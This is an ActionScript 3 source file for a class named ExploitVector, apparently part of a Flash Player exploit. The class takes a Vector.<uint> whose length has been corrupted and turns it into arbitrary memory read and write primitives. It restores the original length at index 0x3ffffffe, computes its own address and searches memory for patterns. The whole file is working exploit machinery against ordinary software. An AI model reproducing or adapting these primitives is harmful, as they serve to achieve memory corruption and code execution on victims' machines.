package 
{
	/**
	 * ...
	 * @author dango
	 */
	public class ExploitVector 
	{
		private var uv:Vector.<uint>;
		public var original_length:uint;
		
		public function ExploitVector(v:Vector.<uint>, length:uint) 
		{
			uv = v;
			original_length = length;
		}
		
		public function restore():void
		{
			uv[0x3ffffffe] = original_length;
		}
		
		public function is_ready():Boolean
		{
			if (uv.length > original_length)
			{
				return true;
			}
			else return false;
		}
		
		public function at(pos:uint):uint
		{
			return uv[pos];
		}
		
		public function set_own_address(pos:uint):void
		{
			Logger.log("searching value:"+uv[pos-1].toString(16) + ' '+uv[pos-2].toString(16) + ' '+uv[pos-3].toString(16) + ' '+uv[pos-4].toString(16) + ' '+uv[pos-5].toString(16) + ' ');
			uv[0] = uv[pos - 5] - (pos - 5) * 4 - 0xc;
			Logger.log("set value:"+uv[0].toString(16));
		}
		
		public function read(addr:uint):uint
		{
			var pos:uint = 0;
			if (addr > uv[0])
			{
				pos = (addr - uv[0]) / 4 - 2;
			}
			else
			{
				pos = (0xffffffff - (uv[0] - addr)) / 4 -1;
			}
			return uv[pos];
		}
		
		public function write(addr:uint, value:uint=0):void
		{
			var pos:uint = 0;
			if (addr > uv[0])
			{
				pos = (addr - uv[0]) / 4 - 2;
			}
			else
			{
				pos = (0xffffffff - (uv[0] - addr)) / 4 -1;
			}
			uv[pos] = value;
		}
		
		public function search_pattern(pattern:uint, limit:uint):uint
		{
			var count:uint = 0;
			for (var i:uint = 0; i < limit/4; i++ )
			{
				if (uv[i] == pattern)
				{
					if (count == 0)
					{
						count++;
					}
					else if (count == 1)
					{
						return i;
					}
				}
			}
			throw new Error();
		}
	}

}